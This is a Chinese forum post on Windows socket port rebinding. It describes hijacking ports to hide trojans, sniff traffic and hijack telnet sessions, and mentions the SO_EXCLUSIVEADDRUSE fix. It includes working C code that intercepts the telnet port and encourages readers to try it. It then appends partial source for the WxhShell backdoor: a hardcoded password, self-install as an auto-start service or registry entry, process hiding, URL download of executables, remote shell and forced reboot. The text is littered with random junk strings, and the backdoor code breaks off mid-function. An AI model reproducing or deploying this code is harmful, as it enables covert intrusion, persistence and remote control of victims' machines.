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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~HBx5Cpi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z1DF)  
,0n=*o@W  
  saddr.sin_family = AF_INET; u z:@  
)Mw 3ZE92  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7$:Jea  
MV?sr[V-oP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +AOpB L'  
<)gTi759h)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 & y7~  
dQAo~] B  
  这意味着什么?意味着可以进行如下的攻击: M[&p[P@  
2AjP2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x=44ITe1n[  
p"NuR4   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;BEX|w xn  
CWE^:kr6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Olq`mlsK  
\Xg`@JrTM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;;zd/n2b  
rGSi !q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #Xun>0  
!p 70g0+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xb^M33-y  
E._/PB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fH_Xm :%  
I8:G:s:  
  #include 'i8?]` T  
  #include 4"V6k4i5  
  #include S)A;!}RK6  
  #include    Ns[.guWu-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   elb}] +  
  int main() qo}u(p Oj|  
  { l,E4h-$  
  WORD wVersionRequested; S2 YxA  
  DWORD ret; ']vMOGG  
  WSADATA wsaData; d|$-l:(J  
  BOOL val; +PHuQ  
  SOCKADDR_IN saddr; _dn*H-5hO  
  SOCKADDR_IN scaddr; boIFN;Aq"  
  int err; -k@Uo(MB  
  SOCKET s; ch0x*[N@  
  SOCKET sc; ~ZRtNL9   
  int caddsize; 4' <y  
  HANDLE mt; C3 (PI,,  
  DWORD tid;   BlfW~l'mx  
  wVersionRequested = MAKEWORD( 2, 2 ); c *Pt;m  
  err = WSAStartup( wVersionRequested, &wsaData ); 5ZHO+@HiFH  
  if ( err != 0 ) { wRE2rsXoU  
  printf("error!WSAStartup failed!\n"); ;UWp0d%  
  return -1; x/#.%Ga#T  
  } !Ka~X!+\  
  saddr.sin_family = AF_INET; #0/^v*  
   \'Ca%j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R&1 xZFj  
78u=Jz6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *(Us:*$W.  
  saddr.sin_port = htons(23); U,^jN|v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'J#uD|9)  
  { |>=\ VX17  
  printf("error!socket failed!\n"); _zFJ]7Ym.)  
  return -1; OMN|ea.O  
  } ~bX ) %jC  
  val = TRUE; <p8>"~ R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F#\+.inO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  B*Q  
  { C= PV-Ul+  
  printf("error!setsockopt failed!\n"); iMs(Ywak]  
  return -1; /Oa.@53tK6  
  } Gjf1Ba  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0:k MnHn\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0XrOOYmx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ))#_@CwRr  
BjbpRQ,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '3ZYoA%  
  { o|c"W}W  
  ret=GetLastError(); c jBHczkY  
  printf("error!bind failed!\n"); F5f1j]c  
  return -1; {]:B80I;2  
  } ^]?Yd)v  
  listen(s,2); kZvh<NFh_  
  while(1) :Nw7!fd  
  { \b|Q`)TK  
  caddsize = sizeof(scaddr); |0a GX]Y  
  //接受连接请求 9 kS;_(DB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <<9Y=%C+  
  if(sc!=INVALID_SOCKET) 3 p9LVa  
  { oJ)v6"j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rZ7)sE5L  
  if(mt==NULL) ?anKSGfj  
  { ),+u>Os&  
  printf("Thread Creat Failed!\n"); I'16-  
  break; Nx4X1j?-n  
  } }WG -R  
  } >CPoeIHK  
  CloseHandle(mt); Pr^p ^s  
  } 3+# "4O  
  closesocket(s); p4{3H+y  
  WSACleanup(); .FAuM~_99b  
  return 0; 6dX l ny1H  
  }   i"C?6R  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ol. rjz9  
  { de?lO ;8  
  SOCKET ss = (SOCKET)lpParam; <\S j5  
  SOCKET sc; $ *^E  
  unsigned char buf[4096]; Z8_Q Kw>  
  SOCKADDR_IN saddr; x<e-%HB*-  
  long num; .TWX,#  
  DWORD val; _79 ?,U]  
  DWORD ret; Y=N; Bj  
  //如果是隐藏端口应用的话,可以在此处加一些判断  <E&"]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k34!*(`q  
  saddr.sin_family = AF_INET; T@H2[ 7[;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Cqjg.wkB  
  saddr.sin_port = htons(23); N?;5%pG <  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W&(98}oT  
  { rSfvHO:R  
  printf("error!socket failed!\n"); O1K~]Nt  
  return -1; )Y+?)=~  
  } hV4B?##O  
  val = 100; ,\ RxKSU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GCEq3 ^/  
  { 4$!iw3N(  
  ret = GetLastError(); ec` $2u  
  return -1; )<1}`9G  
  } |K6hY-uC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H/6GD,0  
  { s%R'c_cGZ  
  ret = GetLastError(); ~h*p A8^L  
  return -1; xiPP&$mg  
  } `L=$ ,7`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R7 *ek_  
  { sZhl.[&zo  
  printf("error!socket connect failed!\n"); QWBQ 0#L  
  closesocket(sc); \aO.LwYm;:  
  closesocket(ss); a,N?GxK~  
  return -1; [#R<Z+c  
  } %L9A6%gr  
  while(1) (^Kcyag4  
  { D;0xROW8{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U'acVcD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1$Pn;jg:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h8!;RN[  
  num = recv(ss,buf,4096,0); KGm"-W  
  if(num>0) ){oVVLs  
  send(sc,buf,num,0); W}5H'D  
  else if(num==0) _(8HK  
  break; \o j#*aL^  
  num = recv(sc,buf,4096,0); 6uijxia  
  if(num>0) =Gq 'sy:h  
  send(ss,buf,num,0); afMIqQ?  
  else if(num==0) ^f,('0p- >  
  break; '.wyfSH@  
  } y[l19eU  
  closesocket(ss); RZ[r XV5  
  closesocket(sc); )ccd fSe  
  return 0 ; 1Bz'$u;  
  } FT* o;&_QS  
F W# S.<  
:oH"  
========================================================== GBZx@B[TY  
.#b!#   
下边附上一个代码,,WXhSHELL $bU|'}QR  
t'EH_ U  
========================================================== \8!&X cA  
[lC*|4t&  
#include "stdafx.h" fodr1M4J  
f#p.=F$  
#include <stdio.h> M9@#W"  
#include <string.h> M#qZ0JT4  
#include <windows.h> *S.2p*Vd  
#include <winsock2.h> ^J>jU`)CJ  
#include <winsvc.h> 6#k Ap+g7  
#include <urlmon.h> 4565U  
swVq%]')"  
#pragma comment (lib, "Ws2_32.lib") 96Tc:#9i  
#pragma comment (lib, "urlmon.lib") <L__;j1Wx  
4>gMe3]0  
#define MAX_USER   100 // 最大客户端连接数 e.0vh?{\  
#define BUF_SOCK   200 // sock buffer '* +]&~b  
#define KEY_BUFF   255 // 输入 buffer wo[W1?|s  
k:w\4Oqd  
#define REBOOT     0   // 重启 q*ZjOqj  
#define SHUTDOWN   1   // 关机 { A(= phN  
!o 7uZC\  
#define DEF_PORT   5000 // 监听端口 .JpYZ |  
BcT|TX+ct  
#define REG_LEN     16   // 注册表键长度 -NVk>ENL4  
#define SVC_LEN     80   // NT服务名长度 T!hU37g h?  
2 f]9I1{  
// 从dll定义API NDRk%_Eu(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O329Bkg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A]{8 =  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &Sc}3UI/F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c(bh i  
y= I LA  
// wxhshell配置信息 3Nh;^  
struct WSCFG { 0rT-8iJp4P  
  int ws_port;         // 监听端口 {nbD5 ?   
  char ws_passstr[REG_LEN]; // 口令 E YUr.#:  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,7pO-:*g  
  char ws_regname[REG_LEN]; // 注册表键名 1GW=QbO 6  
  char ws_svcname[REG_LEN]; // 服务名 }@Oy kN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T"Wq:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )*^PMf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4kA/W0 VG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h"YIAQ',  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d*1@lmV*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 / vge@bsE  
b=QO^  
}; odquAqn  
0}Xkj)R,  
// default Wxhshell configuration 1H @GwQ|<=  
struct WSCFG wscfg={DEF_PORT, 5jg^12EP  
    "xuhuanlingzhe", @)m+O#a  
    1, j*$GP'Df3  
    "Wxhshell", {P(Z{9u%  
    "Wxhshell", -?!Z/#i4  
            "WxhShell Service", /wCeeG,<  
    "Wrsky Windows CmdShell Service", ?}B9=R$Pi  
    "Please Input Your Password: ", a7q-*%+d5  
  1, +iwNM+K/gQ  
  "http://www.wrsky.com/wxhshell.exe", k-T_,1l{  
  "Wxhshell.exe" DnaG$a<  
    }; Xt8;Pl  
1(!!EcU_  
// 消息定义模块 o)?"P;UhJX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q[q#cY:0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K I$?0O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |zvxKIW;wd  
char *msg_ws_ext="\n\rExit."; y3$' gu|  
char *msg_ws_end="\n\rQuit."; \x x<\8Qr_  
char *msg_ws_boot="\n\rReboot..."; 5D]%E?ag  
char *msg_ws_poff="\n\rShutdown..."; ~/\;7E{8!  
char *msg_ws_down="\n\rSave to "; 9GkG'  
s iv KXd  
char *msg_ws_err="\n\rErr!"; .$4DK*  
char *msg_ws_ok="\n\rOK!"; k KL^U  
J C1T033 r  
char ExeFile[MAX_PATH]; q?Q"Ab  
int nUser = 0; n\*>m p)  
HANDLE handles[MAX_USER]; uHQJ&  
int OsIsNt; 42Vy#t/HC  
*s?&)][  
SERVICE_STATUS       serviceStatus; &6MGPh7T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t22BO@gt74  
n`68<ybl5  
// 函数声明 kd'qYh  
int Install(void); r em&F'x0V  
int Uninstall(void); *u7C){)gr[  
int DownloadFile(char *sURL, SOCKET wsh); !V@Y \M d  
int Boot(int flag); v<tH 3I+   
void HideProc(void); \9i.dF  
int GetOsVer(void); N!"GwH  
int Wxhshell(SOCKET wsl); KL.{)bi  
void TalkWithClient(void *cs); v>)[NAY9  
int CmdShell(SOCKET sock); +tkd($//  
int StartFromService(void); m3 (fr  
int StartWxhshell(LPSTR lpCmdLine); M5exo   
2v`VtV|B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VuJth  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  mbd  
Ps<)?q6(  
// 数据结构和表定义 {)ZbOq2  
SERVICE_TABLE_ENTRY DispatchTable[] = \ fU{$  
{ x7Ly,  
{wscfg.ws_svcname, NTServiceMain}, %MbjKw  
{NULL, NULL} Lvv`_  
}; w*#k&N[X  
x;Dr40wD@y  
// 自我安装 u/ y`M]17  
int Install(void) #&r^~>,#L-  
{ AWQwpaj-  
  char svExeFile[MAX_PATH]; i3;Z:,A4NN  
  HKEY key; z=>]E 1'RL  
  strcpy(svExeFile,ExeFile); A~nq4@uj  
_\sm$ `q  
// 如果是win9x系统,修改注册表设为自启动 qg:1  
if(!OsIsNt) { N_q7ip%z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pR 1v^m|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %~^R Iwm  
  RegCloseKey(key); [JMz~~ F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }%$9nq3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xfO!v>  
  RegCloseKey(key); *qY`MW  
  return 0; N##3k-0Ao  
    } $hndb+6q  
  } HQ@X"y n  
} XV%L6x  
else { *[W!ng  
bMkn(_H)\  
// 如果是NT以上系统,安装为系统服务 <LZvG IMl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3 {on$\  
if (schSCManager!=0) #dW$"u   
{ ,O 3"r;  
  SC_HANDLE schService = CreateService #hR}7K+@  
  ( A>7'W\R  
  schSCManager, pK *-In  
  wscfg.ws_svcname, \RMYaI^+;  
  wscfg.ws_svcdisp, u33+ikYv  
  SERVICE_ALL_ACCESS, X-oou'4<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3{d1Jk/S  
  SERVICE_AUTO_START, '9<Mk-Aj  
  SERVICE_ERROR_NORMAL, 1;vn*w`p  
  svExeFile, tPC8/ntP8  
  NULL, R*Pfc91}  
  NULL, YIgzFt[L  
  NULL, ] =>vv;L  
  NULL, q* Ns]f'a  
  NULL ((EN&X,v  
  ); (.%:Q0i1  
  if (schService!=0) 7ou2SL}k  
  { $Xz9xzOR  
  CloseServiceHandle(schService); kc~Z1  
  CloseServiceHandle(schSCManager); !p&M,6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %tUJ >qYU  
  strcat(svExeFile,wscfg.ws_svcname); k[Uc _=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /d'^ XYOC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,W*<e-  
  RegCloseKey(key); z6'zNM7M  
  return 0; @YpA'cX7  
    } "St,4 b  
  } _QY0j%W  
  CloseServiceHandle(schSCManager); ZwO&G\A^  
} n8zUL1:R  
} S 5m1~fz  
':o.vQdJ  
return 1; _k5KJKvr  
} vuDp_p*]S  
JguE#ob2  
// 自我卸载 IO^O9IEx,  
int Uninstall(void) BR5$;-7W  
{ wg!  
  HKEY key; 0Lc X7gU>  
kz,Nz09}W  
if(!OsIsNt) { Sm+Ek@Ax  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .o|Gk 5)  
  RegDeleteValue(key,wscfg.ws_regname);  9l{r&]  
  RegCloseKey(key); Am  kHVg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C/!2q$  
  RegDeleteValue(key,wscfg.ws_regname); eSa ]6  
  RegCloseKey(key); xiA9X]FB  
  return 0; _6=6 b!hD  
  } .%WbXs  
} ^Y #?@  
} 0qJ(3N  
else { LsV!Sd  
L8R|\Bx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $D9JsUij  
if (schSCManager!=0) F P mLost  
{ 20%xD e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z33w A?9  
  if (schService!=0) ?F?!QrL  
  { ua4QtDSs  
  if(DeleteService(schService)!=0) { Q CfA3*  
  CloseServiceHandle(schService); $G*$j!  
  CloseServiceHandle(schSCManager); ##k== 'dR  
  return 0; N<N!it  
  } r<&d1fM;X  
  CloseServiceHandle(schService); dBobVT'  
  } ;zSh9H  
  CloseServiceHandle(schSCManager); O;qS 3  
} H1hj` '\"<  
} ym(r;mj!  
 U]e;=T:3  
return 1; uo 7AU3\  
} HpNf f0c  
k*z)AR  
// 从指定url下载文件 K +w3YA  
int DownloadFile(char *sURL, SOCKET wsh) }p8a'3@Z  
{ (U$ F) 7  
  HRESULT hr; =UTv  
char seps[]= "/"; *(o~pxFTR  
char *token; m:p1O3[R  
char *file; _h@e.BtDs  
char myURL[MAX_PATH]; p@r~L(>+3  
char myFILE[MAX_PATH]; 8@b@y|#]X  
(q:L_zFj>"  
strcpy(myURL,sURL); mI"|^!L  
  token=strtok(myURL,seps); @BW~A@8  
  while(token!=NULL) 42# rhgW  
  { !30Dice  
    file=token; 47 m:z5;  
  token=strtok(NULL,seps); Dyt}"r\  
  } D}\% Q #  
5 ^f>L2  
GetCurrentDirectory(MAX_PATH,myFILE); /A <L  
strcat(myFILE, "\\"); #G9S[J=xe  
strcat(myFILE, file); Q3z-v&^E9  
  send(wsh,myFILE,strlen(myFILE),0); 7z F29gC  
send(wsh,"...",3,0); 1[X+6viE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q\mVZyj  
  if(hr==S_OK) 6\b B#a  
return 0; 8 b|&  
else LG&~#x  
return 1; uv9cOd  
SB eb}LZ  
} 8LR_K]\  
5&+ qX 2b  
// 系统电源模块 kS=OX5  
int Boot(int flag) EkjO4=~UC  
{ P" 3{s+ r  
  HANDLE hToken; <A"}Krq?  
  TOKEN_PRIVILEGES tkp; nuKjp Ap!  
sl/#1B   
  if(OsIsNt) { U.?,vw'aai  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g-Z>1V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0[9A*  
    tkp.PrivilegeCount = 1; ":eHR}Hzx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XY0Gjo0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $]xe,}*Af  
if(flag==REBOOT) { MH!'g7iK8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _j <46^  
  return 0; t[iE >  
} 9<\wa/#  
else { >KM<P[BRd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) In^$+l%O[  
  return 0; N55;oj_K  
} oDM}h +  
  } pS*vwYA  
  else { HPr5mWs:  
if(flag==REBOOT) { A*MlK"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H.wp{m{  
  return 0; 2x3&o|J  
} p# O%<S@?  
else { H4^-MSw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X^fMt]  
  return 0; }MXZ  
} yv4hH4Io  
} ldi'@^  
y=5s~7]  
return 1; x1Z?x,-D"  
} wdl6dLu  
7 P=1+2V  
// win9x进程隐藏模块 2-]gHAw%  
void HideProc(void) 8cR4@Hqx  
{ ^Zydy  
V0ulIKck  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]rC6fNhQ  
  if ( hKernel != NULL ) q9icj  
  { l)=Rj`M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8Ay#6o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !Edc]rg7  
    FreeLibrary(hKernel); pmIQD"  
  } FeLWQn/aV6  
9(ANhG  
return; ##1[/D(  
} MP;7 u%   
Dr,{V6^  
// 获取操作系统版本 Fgt/A#`fz  
int GetOsVer(void) v[35C]gS  
{ u|O5ZV-cd  
  OSVERSIONINFO winfo; 2+ >.Z.pX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yz\z Qj  
  GetVersionEx(&winfo); jJ|u!a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3DMfR ofg  
  return 1; VX2bC(E'%  
  else vr=iG xD  
  return 0; 7GWPsaPn  
} IkL|bV3E0  
O^F%ssF8  
// 客户端句柄模块 AEOo]b*&d  
int Wxhshell(SOCKET wsl) Aj SIM.  
{ tlI3jrgw  
  SOCKET wsh; G5bi,^G7  
  struct sockaddr_in client; qmtVk  
  DWORD myID; B5zu?AG  
li%=<?%T  
  while(nUser<MAX_USER) ^e<0-uM" s  
{ WLv( K_3Y  
  int nSize=sizeof(client); %+Mi~k*A'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^nFa'=  
  if(wsh==INVALID_SOCKET) return 1; Pm7,Nq)<>n  
mNWmp_c,1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @H1pPr  
if(handles[nUser]==0) l J;wl|9  
  closesocket(wsh); L7%Dc2{^(  
else $2 ~A^#"0  
  nUser++; F+*: >@3  
  } n]6xrsE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <;phc~0+  
<y(>z*T;  
  return 0; (#X/sZQh  
} X -w#E3  
\SA5@.W  
// 关闭 socket i1\xZ<|0  
void CloseIt(SOCKET wsh) |Tf}8e  
{ Yf7n0Etd,  
closesocket(wsh); T"dX)~E;  
nUser--; b4S7 Q"g  
ExitThread(0); ) m%ghpX  
} !+JSguy  
%* vYX0W"  
// 客户端请求句柄 c^Rz?2x  
void TalkWithClient(void *cs) ^md7ezXL  
{ @X\Sh>H  
8/ZJkI  
  SOCKET wsh=(SOCKET)cs; leg@ia  
  char pwd[SVC_LEN]; TW:vL~L  
  char cmd[KEY_BUFF]; ?R;5ErZ  
char chr[1]; #Z98D9Pv`o  
int i,j; no)Spo'  
<!-8g!  
  while (nUser < MAX_USER) { e7>)Z  
4YXtl +G  
if(wscfg.ws_passstr) { xJJlVP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y? )v-YGu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mQ('X~l  
  //ZeroMemory(pwd,KEY_BUFF); EYcvD^!1g  
      i=0; yQM7QLbTk  
  while(i<SVC_LEN) { 1CFrV=d  
toX4kmC  
  // 设置超时 l/DV ?27  
  fd_set FdRead; LV4 x9?&  
  struct timeval TimeOut; rm1R^ n  
  FD_ZERO(&FdRead); -Z4J?b  
  FD_SET(wsh,&FdRead); I8 8y9sW  
  TimeOut.tv_sec=8; `jvIcu5c  
  TimeOut.tv_usec=0; f&7SivS#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MS_&;2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X+?*Tw!\  
B#B$w_z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F, %qG,  
  pwd=chr[0]; zTAt% w5  
  if(chr[0]==0xd || chr[0]==0xa) { Haaungb"  
  pwd=0; <@A/`3_O)  
  break; L!3{ASIN0  
  } ^qIp+[/'  
  i++; Op~sR^ez  
    } x,5$VLs\+  
b+[9) B)a?  
  // 如果是非法用户,关闭 socket &&M-5XD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >O9j},X  
} kIiId8l  
JUF[Y^C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~i fq_Ag.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /49PF:$?  
r*0a43mC1  
while(1) { U@ALo  
`(_cR@\  
  ZeroMemory(cmd,KEY_BUFF); &:S_ewJK7  
N+"Y@X yg  
      // 自动支持客户端 telnet标准   y@nWa\i G  
  j=0; |pqLwnOu  
  while(j<KEY_BUFF) { {5#P1jlT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F,11 \j  
  cmd[j]=chr[0]; `[jQn;  
  if(chr[0]==0xa || chr[0]==0xd) { dV<M$+;s]  
  cmd[j]=0; InH R> ,  
  break; cx_[Y  
  } =c(_$|0  
  j++; 4CW/  
    } U#Wc!QN-t  
J= ia  
  // 下载文件 x +q"%9.c  
  if(strstr(cmd,"http://")) { ~V`D@-VND  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9RE{,mos2v  
  if(DownloadFile(cmd,wsh)) "SNsOf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t TA6 p  
  else XG<^j}H{}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HdJLD+k/  
  } -,TBUWg  
  else { m{JiF-=u  
Bag2sk  
    switch(cmd[0]) { e%R+IH5i  
  SV<*qz  
  // 帮助 hIXGfvUy  
  case '?': { QTz{ZNi!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U4 m[@wF  
    break; JAC W#'4hV  
  } Xd)ba9{  
  // 安装 9x;/q7  
  case 'i': { PUltn}M  
    if(Install()) #Vs/1y`()  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3${?!OC  
    else Zj<oh8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zv7@  
    break; 0k:&7(j  
    } @E,{p"{  
  // 卸载 q-o=lU"  
  case 'r': { #_2V@F+,  
    if(Uninstall()) $\81WsL '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eh!%Ne O  
    else AU^Wy|i5Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~H@':Mms.h  
    break; cQ6[o"j.  
    } 6lT1X)  
  // 显示 wxhshell 所在路径 l YH={jJ  
  case 'p': { ]1)@.b;QR  
    char svExeFile[MAX_PATH]; hO;bnt%(  
    strcpy(svExeFile,"\n\r"); D4 {gt\V  
      strcat(svExeFile,ExeFile); #7lkj:j4  
        send(wsh,svExeFile,strlen(svExeFile),0); 3a!/EP  
    break; rHT8a^MO  
    } M0=ZAsN  
  // 重启 &I'~:nWpt  
  case 'b': { g#9w5Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pqMv YF  
    if(Boot(REBOOT)) nI2}E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0WF(Ga/o  
    else { O<6/0ub&+h  
    closesocket(wsh); Kzo{L  
    ExitThread(0); :{_Or'L  
    } q E$ .a[  
    break; zesEbR)j  
    } uqTOEHH7  
  // 关机 F|xXMpC.f  
  case 'd': { @h>#cwhU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zHb<YpU  
    if(Boot(SHUTDOWN)) 4 3]6J]!)  
